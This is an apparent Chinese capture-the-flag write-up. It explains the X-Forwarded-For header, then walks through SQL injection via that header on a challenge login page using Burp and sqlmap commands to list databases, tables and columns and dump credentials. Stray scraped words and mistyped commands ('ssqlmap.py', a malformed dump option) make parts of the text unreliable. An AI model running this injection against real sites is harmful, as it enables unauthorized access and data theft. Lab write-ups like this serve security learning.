首先,X-Forwarded-For 是一个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并无对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP。现在它已经成为事实上的标准,被各大 HTTP 代理、负载均衡等转发服务普遍使用,并被写入 RFC 7239(Forwarded HTTP Extension)标准之中。php
XFF 的内容由「英文逗号 + 空格」隔开的多个部分组成,最开始的是离服务端最远的设备 IP,而后是每一级代理设备的 IP。html
若是一个 HTTP 请求到达服务器以前,通过了三个代理 Proxy一、Proxy二、Proxy3,IP 分别为 IP一、IP二、IP3,用户真实 IP 为 IP0,那么按照 XFF 标准,服务端最终会收到如下信息:python
X-Forwarded-For: IP0, IP1, IP2
Proxy3 直连服务器,它会给 XFF 追加 IP2,表示它是在帮 Proxy2 转发请求。列表中并无 IP3,IP3 能够在服务端经过 Remote Address 字段得到。咱们知道 HTTP 链接基于 TCP 链接,HTTP 协议中没有 IP 的概念,Remote Address 来自 TCP 链接,表示与服务端创建 TCP 链接的设备 IP,在这个例子里就是 IP3。sql
Remote Address 没法伪造,由于创建 TCP 链接须要三次握手,若是伪造了源 IP,没法创建 TCP 链接,更不会有后面的 HTTP 请求。不一样语言获取 Remote Address 的方式不同,例如 php 是 $_SERVER["REMOTE_ADDR"]。
数据库
进入网站发现只有一个登录界面,任意输入用户名密码登录报错而且弹出访问ip。后端
用burp抓包没发现X-Forwarded-For,因为题目提到X-Forwarded-For,添加测试缓存
回显显示ip地址,故猜想后端是读取了x-forwarded-for的数据,服务器
将x-forwarded-for的值改成*并保存为12.txt文档放在sqlmap文件目录下负载均衡
使用sqlmap注入爆破测试
爆数据库
python sqlmap.py -r 12.txt --dbs --batch
爆表名
python ssqlmap.py -r12.txt -D 数据库名 --tables --batch
爆列名
python ssqlmap.py -r12.txt -D 数据库名 -T 表名 --columns --batch
报数据
python ssqlmap.py -r12.txt -D 数据库名 -T 表名 -C dump 数据,数据,数据 --batch
获取帐号密码成功登入获得key
*注:爆表名的时候在--table后必须加s 不加会报错
爆数据的时候在dump后把数据用单引号会报错
*
参考sqlmap命令详细:http://www.javashuo.com/article/p-rczgtllq-kb.html